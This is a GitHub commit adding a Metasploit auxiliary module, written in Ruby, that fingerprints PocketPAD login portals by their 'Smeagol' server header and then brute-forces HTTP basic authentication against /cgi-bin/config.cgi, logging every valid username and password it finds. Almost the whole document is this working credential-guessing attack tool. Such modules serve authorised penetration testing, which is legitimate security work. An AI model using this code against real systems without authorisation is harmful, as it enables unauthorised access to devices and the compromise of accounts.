Skip to content

Commit 2c0ce2d

Browse files
committed
PocketPAD login
1 parent b8f9f1d commit 2c0ce2d

File tree

1 file changed

+107
-0
lines changed

1 file changed

+107
-0
lines changed
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::AuthBrute
13+
include Msf::Auxiliary::Scanner
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'PocketPAD Login Brute Force Utility',
18+
'Description' => %{
19+
This module scans for PocketPAD login portal, and
20+
performs a login brute force attack to identify valid credentials.
21+
},
22+
'Author' =>
23+
[
24+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
25+
],
26+
'License' => MSF_LICENSE
27+
28+
))
29+
30+
end
31+
32+
def run_host(ip)
33+
unless is_app_popaduo?
34+
return
35+
end
36+
37+
print_status("#{peer} - Starting login brute force...")
38+
each_user_pass do |user, pass|
39+
do_login(user, pass)
40+
end
41+
end
42+
43+
#
44+
# What's the point of running this module if the target actually isn't PocketPAD
45+
#
46+
47+
def is_app_popaduo?
48+
begin
49+
res = send_request_cgi(
50+
{
51+
'uri' => '/',
52+
'method' => 'GET'
53+
})
54+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
55+
vprint_error("#{peer} - HTTP Connection Failed...")
56+
return false
57+
end
58+
59+
if (res and res.code == 200 and res.headers['Server'].include?("Smeagol") and res.body.include?("PocketPAD"))
60+
vprint_good("#{peer} - Running PocketPAD application ...")
61+
return true
62+
else
63+
vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.")
64+
return false
65+
end
66+
end
67+
68+
#
69+
# Brute-force the login page
70+
#
71+
72+
def do_login(user, pass)
73+
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
74+
begin
75+
res = send_request_cgi(
76+
{
77+
'uri' => '/cgi-bin/config.cgi',
78+
'method' => 'POST',
79+
'authorization' => basic_auth(user,pass),
80+
'vars_post' => {
81+
'file' => "configindex.html"
82+
}
83+
})
84+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
85+
vprint_error("#{peer} - HTTP Connection Failed...")
86+
return :abort
87+
end
88+
89+
if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("Smeagol"))
90+
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
91+
report_hash = {
92+
:host => rhost,
93+
:port => rport,
94+
:sname => 'PocketPAD Portal',
95+
:user => user,
96+
:pass => pass,
97+
:active => true,
98+
:type => 'password'
99+
}
100+
report_auth_info(report_hash)
101+
return :next_user
102+
else
103+
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
104+
end
105+
106+
end
107+
end

0 commit comments

Comments
 (0)